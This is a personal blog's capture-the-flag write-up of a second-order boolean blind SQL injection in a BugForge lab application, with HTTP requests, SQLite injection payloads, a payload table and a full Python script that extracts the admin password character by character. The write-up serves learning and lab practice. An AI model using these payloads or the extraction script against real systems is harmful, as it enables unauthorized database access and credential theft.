
Welcome to the blog! I’m Shawn, a former manager and blue collar worker now employed in the world of offensive security. I’m hoping to share some of my journey and what I’ve learned along the way. I’m currently focused on web app pentesting and application security but constantly learning other areas of pentesting as well.
Connect with me
Most Recent Post
FurHire-007 - Second Order Boolean SQL Injection
April 13, 2026
Lab Info
- Platform: BugForge
- Lab: FurHire-007
- Flag:
bug{48CUep4W8QVbV2pSb5OEo2D9zl87mOkO} - Vulnerability: Second-Order Boolean Blind SQL Injection
- Endpoint:
PUT /api/applications/:id/status
Summary
The application status update endpoint accepted unsanitized input from the recruiter account. The injected SQL was executed server-side and the boolean result was reflected back via the applicant’s GET /api/my-applications response in the status field. This created an out-of-band exfiltration channel by viewing the application status as the posting recruiter or the applicant.
Accounts
| Role | Username | Token |
|---|---|---|
| Recruiter | test | JWT (id:7) |
| Applicant | test1 | JWT (id:8) |
Recon
- No bot interaction in this lab variant — ruled out WebSocket XSS early
- Active scan produced no reliable findings (noisy timing hits on
/api/jobs?search, discarded) - JWT HS256 cracking attempted against rockyou.txt via jwt_tool and hashcat — no result
- Mass assignment attempted on
PUT /api/profileandPUT /api/company— server filtered extra fields silently - Missing auth control noted: applicant token accepted on
PUT /api/companywith 200 response but no effect
Vulnerability Discovery
Injecting a single quote into the status field returned a 500 database error:
PUT /api/applications/1/status HTTP/2
Host: lab-[...].labs-app.bugforge.io
Authorization: Bearer <recruiter_token>
Content-Type: application/json
{"status":"accepted'"}
Boolean payloads confirmed injectable and reflected in applicant status field:
{"status":"accepted' OR '1'='1"} → applicant sees status: "1"
{"status":"accepted' OR '1'='2"} → applicant sees status: "0"
Database Fingerprinting
SQLite confirmed via:
{"status":"accepted' OR (SELECT 1 FROM sqlite_master LIMIT 1)='1"}
Returns 1. information_schema errored confirming not MySQL/Postgres.
Exploitation
UNION-based injection errored across all column counts. Binary search via unicode() failed. Direct character comparison via substr() with full subquery wrapping worked:
{"status":"accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),1,1))='b"}
Confirmed flag prefix manually:
{"status":"accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),1,4))='bug{"}
Admin user was discovered during registration enumeration so I went with it. Returns 1. Password matches our expected flag format.
Extraction Script
Two-session Python script using recruiter token to inject and applicant token to read the boolean result:
import requests
import time
host = "https://lab-[...].labs-app.bugforge.io"
recruiter_headers = {"Authorization": "Bearer <recruiter_token>", "Content-Type": "application/json"}
applicant_headers = {"Authorization": "Bearer <applicant_token>", "Content-Type": "application/json"}
charset = "bug{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
def get_status():
r = requests.get(f"{host}/api/my-applications", headers=applicant_headers)
return r.json()[0]["status"]
def check(payload):
requests.put(f"{host}/api/applications/1/status", json={"status": payload}, headers=recruiter_headers)
time.sleep(0.5)
return get_status() == "1"
def get_char(query, pos):
for c in charset:
payload = f"accepted' OR (SELECT substr(({query}),{pos},1))='{c}"
if check(payload):
return c
return None
def extract(query, max_len=300):
result = ""
for i in range(1, max_len):
c = get_char(query, i)
if c is None:
break
result += c
print(f"[+] pos {i}: {c} => {result}")
return result
password = extract("SELECT password FROM users WHERE username='admin'")
print(f"\n[+] Flag: {password}")
Key Payloads
| Purpose | Payload |
|---|---|
| Error trigger | accepted' |
| Boolean true | accepted' OR '1'='1 |
| Boolean false | accepted' OR '1'='2 |
| SQLite fingerprint | accepted' OR (SELECT 1 FROM sqlite_master LIMIT 1)='1 |
| Char extraction | accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),{i},1))='{c} |
Why Second-Order
The injection was submitted via the recruiter’s status update endpoint but the boolean result was reflected in the application status field, visible both in the applicant’s GET /api/my-applications response and the recruiter’s own applicant dashboard. sqlmap failed because it could not correlate the injected request with the reflected result in a subsequent GET response. Manual exploitation was used with a two-session Python script, though a single recruiter session would also have worked by polling the applicant dashboard after each injection.